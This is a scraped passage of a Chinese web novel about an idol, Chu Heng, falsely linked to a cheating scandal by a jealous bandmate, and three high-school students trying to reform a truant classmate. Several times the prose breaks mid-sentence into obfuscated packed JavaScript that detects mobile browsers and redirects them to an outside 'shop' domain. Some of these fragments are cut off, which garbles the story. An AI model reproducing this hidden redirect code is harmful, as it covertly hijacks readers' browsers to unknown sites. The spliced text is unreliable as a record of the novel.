楚恒从床上坐起,用力甩甩头,瞳孔逐渐适应了房间里昏暗的光线。深色衬衫领口微张,隐隐约约露出他白皙的锁骨。 ……刚刚又梦见了以前的事。 梦里光怪陆离,情境交错。 上一秒是自己在昏暗的练习室里一个人练到肌肉酸痛,下一秒就是他站在灯光闪耀的舞台上唱歌,淹没在台下巨大的欢呼和尖叫声中。 随后所有的场景全都熄灭,那个站在舞台上星光熠熠的闪耀的自己突然被裹挟,离自己越来越远,一路到了自己看也看不见的地方。 ……像极了这三年来消失的梦想和野心。 他劲瘦的胸膛微微起伏,长长的手伸到床头,拿过一瓶药,倒出两粒,仰头直接吞下,喉结滚动。 半晌,他才开口,声音沙哑低沉。 “……刚醒。” 对面的谷奕像是早已习惯楚恒这种安静没话聊的风格,得到了对方的回复以后就接着自己的话题滔滔不绝地讲下去。 “你月初考核成绩出来了吗?是不是又是第一?” “是。” “哈哈哈!”谷奕在那边大声笑起来,“我兄弟就是牛逼!” 谷奕和楚恒很久以前就认识了,因为游戏而变成了网友。初中的时候谷奕天天没事干,除了打架就是飞去帝都找楚恒玩。那个时候楚恒也还在读书,两个人多年好友,对对方的生活都足够了解。 后来,楚恒就进了公司去当练习生。再后来就出道了。 两人见面越来越少,楚恒也不知不觉中在新的环境里变得更加沉默寡言。 对于他的变化,谷奕只当他是性格如此。 …… “你还记得前几天跟你讲过的被教导主任抓住的事吗?唉,以为可以躲过一劫,没想到还是被全校通报批评了!还被叫去了办公室问话。” “不过吧,你说这黄怀予也够奇怪的,明明前几天还各种看不惯我,今天反而在教导主任面前把所有事情都揽到自己身上。好吧,高看她一眼……算是讲义气!怪不得苏琬一直说她好。” “她对待朋友很够意思,但是如果碰见欺负她的人,一下子就像炸了毛的刺猬,战斗力十足。你还别说,这种恩怨分明的性格,还挺潇洒自由的。” …… 楚恒躺着,药效让他十分清醒。 这已经是谷奕第二次提到“黄怀予”这个人了。 他看着天花板,静静听着那个女生的潇洒事迹。 “你还别说,这种恩怨分明的性格,还挺潇洒自由的。……你说对吧?” 楚恒沉默两秒,默默点头,应声: “嗯。” * 晚自习下课铃响起。 黄怀予做题做得腰酸背痛,觉得自己快要死掉。刚刚历史选择题十二道居然错了四道,气得她喝了一大杯奶茶。 最难受的是,历史老师说文科快班八班,所有人最多只错了三个。 ……她蔫了,高三最难受的不是自己不行,而是周围人比你好。 黄怀予每次碰到这种时候都觉得自己丑恶无比,因为她只能对自己说,别人肯定是蒙的,肯定是蒙的,凑巧,凑巧。 成绩比自己差的能这么解释,成绩比自己好的又无言以对。 她抬起头,眯着眼,远远看着教室门口“高三一班”的银色牌子。她们教室下方,就是在四楼的四个最快班。 五班,理科火箭班 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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刚一踏出教室门,就看见,间歇性消失了好几天的那位大公子,此刻就站在教室走廊上,长腿伸直,靠着墙壁,紧紧地盯着她。 “……” 黄怀予撇撇嘴,直接扭头走到了饮水机旁边,一眼也没看他。 结果下一秒就感受到了旁边的高大身影带来的强烈压迫感。 “我想好了。” 黄怀予斜着眼看他:“谷公子,您想好啥了?” “可以学。” 黄怀予听着他从牙缝里挤出来的这三个字,刚一转头就看见了他脸上明明白白的桀骜,叹口气:“你等会,我把苏琬叫出来。” 二晚的上课铃震耳欲聋地响起,高三以来所有的上课铃都能吓得人浑身一激灵,不用想也知道这是学校的良苦用心。 五楼走廊的尽头,两女一男在角落里站着。 “教室里人多,这里比较好说话。” 黄怀予抱着胸,仰头看着谷奕,“你想好啥了?” 谷奕靠着墙,高大的身形湮没在角落微微的黑暗里。他低头,在黑暗里看见苏琬亮晶晶的眼睛。 半晌,开口别扭说道:“马辉不是说,如果我再逃课,就由你们把我带回来吗。” “看在上午在朱秋霞面前,你帮了我的份上,我……不想让马辉搞连坐制。” “所以……”苏琬带着期待的眼神看着他。 “……我不逃课了。” ……怎么感觉说出来这么奇怪?! “挺好。”黄怀予笑嘻嘻,“但是得先说你这一天都干嘛去了。” 谷奕皱皱眉,“我要是不说呢。” 黄怀予依然笑嘻嘻,挽住了旁边苏琬的手臂。 苏琬像是得到了什么信号,仰头看着他,眼神里满是鼓励:“没关系的。既然你想好了,那我们以后就是战友了。一起加油,互帮互助。” 谷奕皱眉盯着苏琬,沉默许久。 最终自暴自弃地呼出口气,满脸烦躁:“我说还不行吗!……老子下午去市内的网吧打游戏了,晚上在学校外面吃了一顿好的。……操,老子就想着是最后一次了,玩够了今天晚上就回来找你们。” 苏琬轻轻地笑,眉眼温婉。 黄怀予走上前,拍拍满脸懊悔的谷奕的肩。 “来吧,傻大个,改造‘问题少年’计划,正式开始!” “……你叫谁傻大个?!” “一米九还不大?” “老子一米八/九!!” “哎呀都一样都一样。你现在啥书也没有,今天晚上要不就练练字帖,苏琬有一本多的正好给你用。估计你字也丑,肯定也得练练。” “……” 10. 第 10 章 苏琬从来没有在晚上跟男生一起单独走在街上过。 她从小学就认识黄怀予了,她们两家就隔一栋楼。 更巧的是,两个人小学初中高中全都是一个学校的,就连课外学乐器都约着在同一个培训中心——她学小提琴,黄怀予学钢琴,花了一样的时间考到了十级,连考场都是同一个地点。 童年第一次见面的时候,黄怀予为了向苏琬自我介绍自己美好动听的名字,蹲在地上,用石头歪歪扭扭地写下自己的名字。 “……黄杯子?” 于是黄怀予就多了一个“杯子”的外号,就这么叫了快十二年。 多年挚友,形影不离,苏琬恍惚感觉她们两个人像双生子。 黄怀予一米六八,喜欢运动,腿又长又直,苏琬觉得她像太阳一样火热闪耀。 初中的时候两人不同班,都有各自的社交圈,有时圈子重合度并不高。 青春期少女对于同性人际关系总有各种各样的猜疑,苏琬那阵子十分小心眼,总是旁敲侧击地问黄怀予,然后得到了这样的答复: “哈哈哈哈我们俩谁跟谁,再近点都能搞拉拉了吧。” 当然最后没有搞拉拉,苏琬太了解黄怀予了,嘻嘻哈哈最在行,永远语不惊人死不休。 对于跟男生的关系,她也从来没有羡慕过黄怀予可以跟男生称兄道弟,毕竟能跟黄怀予玩得好的男生,也都对自己很友善。 …… 只是像今晚一样,跟一开始就感觉到自己不可能跟他成为天天开玩笑的普通朋友的高大帅气的转学生,单独走在晚上十点晚自习结束后的幽静校园里,真的是人生第一次。 …… ——然而她没有想到,一头黄毛一身戾气的“问题少年”也是第一次。 少男少女走在教学楼和寝室之间的小路上。 夏季的晚风带着微热吹动树枝,一路无话,只剩蝉鸣。 “那啥,你们学校环境还挺好的。”谷奕憋了很久,努力找到了话题。 苏琬没忍住笑了出来。 谷奕以为自己说错了什么话,不明所以地看着她。 “这话从一个魔都来的人嘴里说出来,显得不太真实。毕竟我们自己都觉得学校破。” 苏琬歪头认真地看着他,“其实,你这么标准的普通话,在我们这里真的很显眼。” 还有半句话苏琬没说出来,你的外形和身上散发出来的不良气质都很显眼。 “……”谷奕想起这两天耳边充斥的云省方言和口音,低头笑笑,“如果我听不懂,可以找白度给我翻译。” “你和白度,你们两人的名字有什么寓意吗?”苏琬认真地问,突然好像想到了什么好笑的事情,“杯子说以后她就改名叫搜狗。” 谷奕噎了一下,“这倒是很像她说的话。……没什么寓意。我跟我妈姓。” 说到这里,他语气莫名变得有些低落,又迅速用平常一贯的懒散掩盖住。 “名字……也应该是她随便取的。毕竟,她从来不在意我。” …… “是吗?我也跟我妈姓。” 苏琬看着前方,脚步轻缓,柔顺的马尾在身后荡漾出一个轻轻的弧度。 “但是你的名字可不一定是她随便取的,因为这个字很适合你。” “神采奕奕,姣美明亮。奕世载德,不忝前人。” …… 谷奕愣了。 他呆呆地看着她笑起来弯弯的眼睛,又很快扭过头。 “你……怎么这么爱笑。” “啊,可能是因为经常跟杯子待一起吧。” “你们关系这么好吗?” 两人已经不知不觉走到了宿舍楼下。 月光微弱。 苏琬加快脚步走到了路灯下方,然后转过头,看着谷奕。 “其实今天晚上你练的那本字帖是她的。因为你没有书和课本,她晚自习给你列了一张要买的书的清单,学校门口就有书店,明天你可以直接去买。” 苏琬打开书包,抽出一张写满字的纸,递给他。 “她还说准备给你写一份各科学习方法体系大纲,我写语文数学历史,她写英语政治地理,正好是我们俩的擅长学科。” “不过,估计写好了她也会说六科都是我写的。” 谷奕微微怔住。 苏琬站在路灯淡黄色的灯光下,浅浅地笑:“欢迎转来云省楚门一中。从今天开始我们就是同学了,以后请多多关照。” * 帝都新娱公司。 “哎,你听说了吗?前几天楚恒那件事。” “啥啥啥?” “就是网上有两个网红同时爆料自己跟一个男爱豆恋爱。” “什么?同时?!那也就是劈腿?” “是啊!” “那跟楚恒有什么关系?” “那两个网红爆出来的几个条件,都符合的只有我们公司STAR的楚恒。” “我去!他平时看着挺内向,私底下玩这么花?” “不会吧?我感觉楚恒平时特别冷淡,对谁都一副不关心的样子,上次在食堂不小心碰了他一下,立刻离我一米远,好像我有传染病一样……他看上去简直不食人间烟火啊!” “就是啊!我还听说好几个女爱豆都对他有好感,他都没搭理,一副不近女色的样子。不会是他吧?” “喏,你们自己看,‘人设是天然呆,平时看着有点冷淡,唱歌很好,很糊’,这不就是他?” “靠,真的啊!” …… 几个男练习生在公司走廊里拿着手机聚成一团叽叽喳喳,正讨论得起劲。 突然瞥见后面突然走近的一个身影,几人立刻噤声,吓得不敢说话,等到人走到面前才哆哆嗦嗦小声说:“……师、师兄……” 来人穿着一件深灰色宽大T恤,带着黑色鸭舌帽和银色项链,帽檐压得很低,只露出流畅的下颌线和鬓角金色的发丝。 他走过他们时,面容冷峻,鼻梁高挺,只是低着头,冷淡地留下一句“嗯。”就离开了。 ……几个人眼观鼻鼻观心地盯着他走远,这才发现自己吓得脑门出了一头汗。 背地里说人坏话,这就被正主听见了! …… 上午七点半,楚恒像往常一样走进空无一人的练习室,打开灯。 老师还有半个小时到,他已经准备开始复习昨天的舞蹈片段。 突然电话铃声响起。 梁吟东有些焦急的声音从手机里传出来: “楚恒,等会十点来会议室一趟。” …… “网上现在有了一些传言,并且关于这个的讨论也越来越多。” 梁吟东看着下面的五个人,扫视了一圈,目光停留在角落的楚恒身上,表情有些复杂。 “我还是那个原则,大家可以恋爱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252931|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但是一定要保持正常关系,和对方好聚好散,并且,藏得严严实实。” “大家干的是这份工作,营造的是人设,卖的是形象,做的是表演。做所有事情之前,都要想到你的事业形象,以及公司其他所有人的利益。” 成熟有力的女声在会议室里响起,带着斩钉截铁的味道。 “这件事情,我会和公司其他运营同事一起处理掉,并且和当事人沟通解决。但是我也希望,这样的事,是最后一次发生。” …… 楚恒听着,轻轻皱起了眉。 他看向旁边的几个人,想到早晨遇到的那几个练习生,心里隐隐约约有了不好的预感。 他拿出了手机,点开了很久没有登录的微博。 他很少上网。 一个糊到无人知晓的团体,在非宣传期,也根本不用去查看什么舆论、引导什么粉丝。 黑红也是红,被骂也是人气。真正的失败,是无人在意。 ……他在主页刷了几条。不知道是不是因为大数据,竟然让他在一个营销号的微博上看到了自己一闪而过的名字。 “两名网红爆料交往同一名糊团爱豆,还爆出对方性格冷淡,唱歌很好,但是特别糊。已经有人猜测,此人就是新娱公司旗下STAR的主唱楚恒。” 评论: “谁啊,不认识。” “确实糊,糊到无人在意,这要是换成是一个红的团,早就热搜预定了。” “果然糊作非为啊,仗着自己粉丝少就恋爱劈腿。” “我去,猜了半天,居然是他?完全看不出来他是这样的人,平时可真会装。” …… 楚恒眸光闪烁,手上青筋凸起。 他抬起头,一眼撞见了对面赵焰的眼神里。 他冲他一笑,眼里全是阴毒的妒忌。 …… “梁姐,什么事啊?这么严重?” 赵焰笑着开口问,语气轻快。 梁吟东看他一眼,停顿两秒,才说道:“最近网上有一些传言,一个男爱豆恋爱劈腿,有人猜测是我们的艺人。” “是吗?”他有些惊讶,“谁啊?” 他的声音很大,话音落下,会议室里有一瞬的安静。 陈影看了赵焰一眼,打破安静,开口说道:“是我们团的。” “哦。” 赵焰点点头,“反正不是我,我刚分手。梁姐你还见过我前女友呢,对吧?” “……” 梁吟东脸色并不好看。 她何止见过赵焰前女友。赵焰基本每一任女友他都见过,都是一些小模特。 不止他,据她所知,陈影和钱明哲都正在和网红谈恋爱。 除了…… 她视线移向角落里的金发男生。 从出道到现在,她基本没有见过楚恒的任何恋情。他性格孤僻,沉默内向,平时基本从来不和异性打交道。 这也是这次事件最奇怪的地方。“同时劈腿两个网红”这件事,绝对不像是楚恒会做出来的事。 她转着手上的戒指,审视的目光看向一脸轻松、似乎对这件事一无所知的赵焰,心里已经有了猜测。 ——如果真的是这样的话,那团队里的关系,似乎已经不再像是表面那样平静。 梁吟东语气变得严肃起来。 “这件事到此为止。大家先去上课吧,我马上去参加公司大会。” 11. 第 11 章 新娱公司大会议室里,十几个中年人并排坐着,气氛肃穆。 “相信大家最近也看到了,关于我们公司旗下STAR男团的一些传言。” “STAR出道三年,目前仍然是亏损的状态,知名度不够,粉丝认可度低,如今还出现了这样的艺人私人作风的丑闻。” 贾威拿着话筒,字字压迫。 “我希望STAR的经纪人,梁吟东,可以加强团队管理,不然实在是让人不得不质疑你的专业能力。” ——此话一出,全场哗然。 新娱公司内部,所有人多多少少都知道梁经纪人和贾总经理之间的对抗。 梁吟东主管艺人经纪,在新娱呆了十年,从明星助理一步步做到如今的位置,带的好几个歌手全部声名鹊起,拿奖转型。后来她接到了董事长给的STAR出道策划,带上了新娱策划的第一个男团,至今已经三年。 贾威作为公司的大股东,主要负责艺人管理和公司经营,拥有极大的实权。他倚仗董事长器重,在数年前的公司内斗中就斗掉了梁吟东曾经的老师文智。后来文智离开新娱,梁吟东逐渐上升,成为公司里和贾威对抗的一股力量。 而两人之间最直接的矛盾,大概就是梁吟东手下唯一的男团STAR里,有贾威的亲外甥,赵焰。 然而拥有得天独厚的家庭背景、跳舞也很厉害的赵焰,却并不是STAR的C位。 C位是那个外貌条件一流、每次练习生考核都断层第一的楚恒。 ……这里面的不见光的起起伏伏、明争暗斗,已经足够成为公司里大家默认的、讳莫如深的派系斗争传闻。 …… 梁吟东坐在座位上。 贾威的话像刀子一样,在众人面前直直地朝她射过来。 她挺直脊背,目光平静,坦荡地迎上贾威来者不善的眼神。 “作为STAR的经纪人,我会完整解决掉这件事,保证之后这类事件不再发生。” 她没有承认是自己的错误,也没有对STAR的发展路线说出任何评价,而是看向贾威: “至于这件事的源头,我想各位作为媒体和明星经纪行业从事者,应该不难懂得一个道理,就是有时候真相并不重要,重要的是它怎么被呈现。” 两人对视,无声过招。 贾威低头,不屑地嗤笑一声。 “说得对,艺人的形象怎么被呈现,关系到艺人的价值和公司的战略,所以打造艺人形象是我们旗下新人最重要的事。” “所以考虑到偶像男团以后的发展,我提议,以后每月的艺人能力考核,除了唱歌跳舞以外,另外增加一项。” “德行和个人作风。” “就从下个月开始正式实施,对上一个月艺人的综合形象和私人作风进行评价。” “STAR的楚恒,本月出现重大个人作风问题,在10月的考核中首先扣掉相关分数。” …… 梁吟东皱眉,有些不可置信地看着贾威。 德行? 个人作风? 如果真的要算上这个项目,那么STAR里最应该扣分的人是谁? 到底什么才是标准? 什么是对? 什么是错? 她隔着长长的会议桌,遥遥地盯着贾威,却只能看见他居高临下的眼神。 他仿佛知道她在想什么。 他在无声地说: “权力在谁手上,标准就由谁制定。” * 公司大厅里,赵焰和其他三个人开完和梁吟东的队内会议,正准备一起出公司。今天是赵焰的生日,他们准备一起去餐厅。 赵焰戴着口罩和帽子,和其他三个人走在前面。 楚恒一个人走在后面。 他们走到门口,外面天已经黑了。赵焰却瞬间脚步一停,看见了公司外面有人聚集。 是一群粉丝,大概不到十个人,举着灯牌和手幅,拿着大大小小的鲜花和礼物,脖子上挂着相机。 ——他脚步立刻顿住。 随后他迅速转身,往回走,直到走到楚恒身边。 他左手扯掉了口罩,右手揽住楚恒的脖子,整个人立刻贴了上去,那张一向盛气凌人的脸此时此刻却换上了一副柔情的微笑。 ——人群里爆发出尖叫声,几个人都在大喊着“赵焰”和“楚恒”的名字,灯光晃动,人声鼎沸,闪光灯疯狂闪烁。 楚恒身体一僵,条件反射地就用力推开赵焰,整个人立即躲远。 他狠狠皱起眉,抬头,眼神里流露出丝毫不加掩饰的嫌恶和恶心。 ……赵焰被猛力挣开,眼睛里闪过一瞬的狠戾,但是立刻露出了浅浅的微笑,走到了粉丝面前,迎接着面前十几只手机和相机的摄像头。 “大家等了很久吧?” “累不累?” 随即又拿出手机,在手机上点了几下,随后笑着说:“给你们点了星巴克,等会就送到,你们在这里等一会就好。” “好!” 粉丝疯狂点头,对他喊生日快乐,七嘴八舌地问他下次新歌什么时候出,叫他老公。 他微笑着应了一句:“老婆。” 人群里爆发出更加刺耳的尖叫,给他塞各种各样的蛋糕和礼物,十几部手机已经快要怼到他脸上。 …… 楚恒一个人站在原地,低着头。 他不想看到这些场景,下意识只觉得脑子一片混沌,头又开始钝痛,僵硬着身体,只想赶紧离开。 ——但是下一秒,背后有人喊他的名字。 他恍然回过神。 看见三四个年轻女生,脸上带着惊喜和高兴的神情,手上拿着鲜花和手写信,正在喊他的名字,问他最近累不累。 他眼中愣怔,动作茫然。 过了好几秒,他似乎才反应过来。 他走上前,收下信件,声音有些涩然:“谢谢。” “快回去吧。” 几个女生高兴点头,他收紧手中的信,和她们告别,转身离开。 …… 他已经走到了宿舍楼下,离人群很远,周围又陷入安静,仿佛刚刚的吵闹声并不存在,鲜花和尖叫之后只剩寂寥。 走上台阶,他脚步一顿。 门口的垃圾桶里,被扔了一大堆连盒子都没有拆掉的蛋糕和礼物,蛋糕盒上绑着的粉色蝴蝶结就这样被扔在一堆垃圾中间。 鲜花中间,有一张白色卡片。 上面写着: “赵焰,生日快乐!” …… 楚恒收紧了手上的信,低下头,走进了宿舍大门。 ……什么都是假的,所有东西都是假的。 所有人都戴着面具,进行着虚与委蛇的表演。 他没来由又觉得一阵恶心。 * 楚门一中301班,此时正是早自习刚下,教室里躺倒了一大片人。 十分钟后,第一节课的上课铃震耳欲聋地响起。黄怀予被吵醒,满脸烦躁地戴上眼镜,朦朦胧胧中看见前面空空荡荡的座位。 ——谷奕还是没来上课。 她面色更难看了,看了一眼前面旁边还在望着教室门口的苏琬,语气平淡: “别看了,现在不来,今天就不会来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252932|139694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前排的女生杏眼微睁,睫毛低垂,脸上流露出失望。 她垂下头,整理了一下心情,回头看向黄怀予,语气犹疑。 “下午第一节课就是政治课,马辉会来。” “如果他看到谷奕不在……怎么办?” “昨天上午我们才被朱秋霞骂过,马辉一定不会轻轻揭过去的。” …… “再等等吧。” 黄怀予叹口气,仍然抱有一丝希望。 “说不定是没起床。” 她两掌并拢,神神叨叨,冲着这前面的空座位闭眼祈祷。 “老天奶,开开眼吧,不要让马辉连坐我。逆风如解意,容易莫摧残!” …… 上午九点半,正是大课间。 黄怀予飞奔出教室,没去操场做广播体操,反而直接跑去了校门口。 昨天朱秋霞下了最后通牒,让自己家长上午十点到行政楼的教导主任谈话。 黄怀予焦急地看着手机,左等右等,终于在9点45分,等来了脸臭的李鸣月。 “真服了你了,翘个晚自习,这么简单的事都能被发现!你什么脑子!还当着朱秋霞的面跑了!” “朱秋霞可是我那一届的时候就声名远扬了,你真以为她脾气那么好?!” “还有那个谁?……你说新来了一个转学生?染个黄毛?你跟这种人玩什么!” “染头发的高中男生都是小混混,能是什么好人?” 黄怀予本来正腆着脸,顺从地听着李鸣月无休止的抱怨,突然听到这一句,顿了一下,无声地朝李鸣月头上望去。 ——李鸣月一头大红色长发,十分耀眼,艳丽无比。 “……”李鸣月有些尴尬,干笑了两声;“你小姨我有点以貌取人了sorry,那人人品好就行,染发不代表什么,哈哈。” 两人正说着,突然被门口的保安拦住。 “你是学生吗?不是学生不让进。” “我不是学生,我是学生家长。” 李鸣月站定,咳咳嗓子,一副极有气场气定神闲的样子。 “学生家长?”保安看她一眼,打量她。 黄怀予也跟着看过来。 李鸣月穿一件白色衬衫和深色紧身长裤,穿得倒是很正式,只是一头大红色长发太过于显眼,在楚门这样一个N线城市实在是吸引了无数目光。 “看什么!”李鸣月紧张地喊,“这可是姐衣柜里最正式的衣服了,就为了来给你当家长!” 说完她又不自在地扯扯领口,凑到黄怀予耳朵旁边说,“楚门这大热天的,为了遮住纹身,我还特地穿了件长袖,你小姨对你可太够意思了。” 黄怀予心想确实,赞同地点点头,拍拍她的肩膀以示安慰。 在一旁的保安被晾在一边,看着两人鬼鬼祟祟地讲悄悄话,有些不耐烦: “你们什么关系?你来干什么的?” “她是我小姨。我老师要见我家长,所以我小姨来了学校。” “小姨?” 保安狐疑地看李鸣月,“你今年多大?” 李鸣月不乐意了:“干嘛,你还怕我未成年冒充她家长啊?” 她抬起手,指了指校门左边的围墙。 保安顺着她手指的方向看过去——墙上贴了喜庆的大红色海报,上面是楚门一中历届优秀校友光荣榜。 “2005级,2008届,优秀毕业生,李鸣月。上面还有照片呢。” 保安够着脖子看过去,只见海报上写着两行金色大字。 ——“李鸣月,艺术特长生,2008年考入帝都音乐学院。” 12. 第12章 “李鸣月,艺术特长生,2008年考入帝都音乐学院。” 上面还有照片,显然已经是2008年的老照片了,照片上的小女孩还很青涩,齐肩短发戴眼镜,有一股书生气——跟面前这位脾气不好的红发女子五官一样,但是气质已经完全不同。 保安终于松动:“进来登记吧。” 又对黄怀予小声嘟囔一句,“你小姨那张照片跟你倒是蛮像。” 黄怀予愣了一下,对着旁边反光的大门照了照。 她现在也是戴眼镜,高中这几年为了方便也一直剪短发。 ——怪不得说长得像。 李鸣月看了她一眼。 “楚门一中平均脸,所有人都长这样。什么发型打扮,什么个性长相,只要是为了学习,一切都要让步。” 她又低头叹了一声气:“我已经被社会捶打了七八年了,早就没有你这种初生牛犊不怕虎的稚嫩气质了。” “外面的社会很恐怖吗?” 李鸣月沉默几秒,“恐怖得不行。” “咋了,难道会有怪物吃人吗?”黄怀予开玩笑。 “会。” “而且以后,你会发现你自己也会变成怪物。这才是最恐怖的。” 李鸣月没头没尾地丢下这一句。 …… 黄怀予还没来得及细想这句话,就被李鸣月拉着走进学校。 “办公室在哪呢?真服了,我今年见朱秋霞的次数比我高中三年见过朱秋霞的次数加起来还要多!” 她又恢复了那副聒噪的样子。 黄怀予不再想李鸣月刚刚那句奇怪的话,给李鸣月带路去了行政楼。 …… 下节课是自习,黄怀予战战兢兢跟着李鸣月进了办公室以后,就说要回去上课,直接溜了出来。 李鸣月一副“就知道你靠不住”的样子目送她溜出去,然后继续摆出学生家长的架势,昂首挺胸、正襟危坐,直视着对面的朱秋霞。 朱秋霞抬眼。 “您是家长?很年轻啊。” 李鸣月立刻打了个冷战,站起来立定,恭恭敬敬鞠躬。 “朱老师好!” * 301班。 上一秒数学老师还在讲台上神情激扬地讲着圆锥曲线,下一秒下课铃打了,他立刻收声,扔掉粉笔,转身,“下课。” 已是上午十二点,大家陆陆续续从堆满书本到可以把人埋进去的课桌上起身出门,神态疲倦,半死不活。 ……然而一眼望过去,却只有第二排中间的一个座位,桌子空荡,干干净净,已经一个上午无人使用。 教室里的人在三分钟之内已经走光,整栋教学楼刚刚还人声鼎沸,现在瞬间就重归寂静。 “……” 黄怀予放下笔,揉揉手腕,视线不经意扫过前面空荡的桌椅,又看了一眼教室门口,叹了一口深沉的气。 “好吧,彻底没指望了。现在不来,今天是一定不会来了。” “等会吃完午饭就上第一节课了,马辉就会过来。” 她语气绝望,眉眼之间一片苍凉,手上已经开始收拾书包。 “苏琬,眼睛别睁那么大等着了,赶紧收拾收拾准备被连坐吧。” “写检讨?请家长?体罚?” 她嘟嘟囔囔,“如果马辉真的那么绝情,我请白度吃顿肯德基,让他帮我们去把谷奕带回来。下午还有两节宝贵的自习课,我还不想浪费呢。” …… 苏琬极力遮掩住心里的失落,默默地收回看向教室门口的目光,垂下了头。 不知为何,她想起了昨天晚上,她和谷奕一起走回寝室楼下的那一幕。 ……原来,只是她一厢情愿吗? “我还以为,昨天晚上之后……他会说到做到。” “算了吧。” 黄怀予托着腮,长眼微眯,叹口气。 “确实啊,没人想坐在教室里整天学习。倒也理解他。” “有时候我还真羡慕他,有钱真好啊,不读书也没关系,每天毫无负担开开心心地玩也没关系。” “走吧。” 黄怀予拉起苏琬出门:“我回家了,你今天午饭去食堂还是外面?” 两人牵着手走出教室门口,左脚刚刚迈出门槛,下一秒鼻子就差点撞上一个男人的胸膛,吓得黄怀予赶紧退后两步,差点踩上苏琬的脚。 两人混作一团,场面凌乱,黄怀予骂了一句:“谁啊走路不看路?!” 两人抬眼定睛,往外看去。 ——谷奕气喘吁吁,目光灼灼,白色短袖已经汗湿,黏黏地贴在身上,显出健壮魁梧的上半身,整个人散发出强烈的运动阳光气息,高大的身形直接把教室大门堵了个严严实实。 “……” 黄怀予目瞪口呆。 ……她目瞪口呆的地方,不是为什么会在此时此刻见到谷奕,也不是为什么谷奕一副刚刚跑完了一千米体测的样子。 而是,谷奕头顶乌黑浓密,头发短簇硬挺,露出了饱满的额头,整个人看上去精神焕发。 ? “你去染黑了???” 黄怀予一声大吼。 “你还去剪了个寸头???” 黄怀予又是一声大吼。 “……” 谷奕表情极其不自然,没说话。 他瞟了一眼反应巨大的黄怀予,又不自觉看向旁边满脸震惊的苏琬。 他在她眼里捕捉到惊讶,甚至还有一丝惊艳。 他立刻轻咳两声,收回视线。 半晌之后才干巴巴地开口说: “……上午去市内染的。” 过一会,又若无其事地补充道:“我可不是为了你们啊!” “我是……怕下一次我们做坏事,又因为这个明显的特征被抓住。” “……免得总感觉欠你们什么似的。” …… “行,这下谁也不欠谁了。” 黄怀予终于反应过来,拍拍他的肩膀,脸上像捡钱了一样高兴。 “把手机拿出来。” “干什么?” “加个微信。” 谷奕有点没反应过来,别别扭扭地扫上了二维码,下一秒就看到自己手机聊天框里出现了一个新的群。 “【杯子】已邀请【Google】、【蒜蒜】加入群聊。” “【杯子】已修改群名为‘大杯蒜’。” 谷奕:? 【Google】:大是谁? 【杯子】:你说呢? 【Google】:?为什么我是大? 【杯子】:因为你是大傻。 谷奕:? 他放下手机,抓过黄怀予的手机扯过来,于是看见她的手机屏幕上,自己的头像上的名字俨然写着“大傻“。 “你就是这么备注我的?!” “凭什么叫我大傻?!” 黄怀予凉凉地看他一眼。 “这两个字,你就说哪个字不对吧。” “大不对?” “还是傻不对?” “……” 她话里话外都是把他看作傻大个的意思,谷奕梗得脸红脖子粗,但是想了半天也无法想出反驳的点。 她看着谷奕一脸憋屈地把自己在群里的昵称改成了“大傻”之后,终于露出了满意的笑。 “你看,让你改,你还真改。是不是够傻?” “我看人是不是很准?” …… 下午五点半,晚饭时间,黄怀予刚准备走出校门去外面吃饭,结果听见后面有人叫自己。 回头,是谷奕。 他插着裤兜,步伐缓慢,长眸看着她,脸上带着一丝不自然的表情。 “你是去买奶茶吗?” 她还没有太习惯黑色板寸的谷奕,看他两眼,眼神有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“……” 谷奕噎住,一下子脸就泛上薄红,暗骂自己蠢,支支吾吾半天,只能说出一句:“食堂好吃。” ……操! 如果这话让黄怀予听见了,肯定又要嘲笑自己。 明明自己开学第一天中午跟她在吵架的时候,就骂过她们学校食堂的热干面非常难吃。 苏琬看着对面的男生低头暗骂自己说错了话的样子,脸上懊悔,耳根好像都变得红红的。 她眨眨眼,没有继续往下说,而是掏出了自己的学生卡,放到他面前。 “想吃什么,我请你。” 男生听到这句话,猛地抬起头,结结巴巴地说:“有灌汤包吗。” …… 此时此刻不知在何处打了个喷嚏的白度: “我请问是哪个富二代在我面前装逼地说自己永远不会让别人请客的?” …… 两人吃完了饭,从食堂出来。 此时正是六点十分,还有二十分钟上晚自习,食堂门口前面的街道人非常多,三三两两的学生聚集走过,手上拎着晚饭和饮料。 苏琬和谷奕一起并排走着。 谷奕虽然把头发染回了黑色,但是一米八/九的大高个和这张招蜂引蝶的脸也实在是足够吸引目光。 他头发很短,露出光洁的额头,黑发衬得眉眼更加锋利,鼻梁高挺,轮廓硬朗,整个人精神奕奕神采飞扬。 苏琬默默接受着路上迎面走过的所有人对旁边男生的注目礼,已经开始有些不好意思。 “……”她扭头去看他,发现他浑然未觉,大踏步走着,走了几步发现自己腿太长把苏琬落在了后面,又放慢脚步等她。 突然,苏琬听见后面有一个声音传来: “同学,可以加个Q/Q吗?” 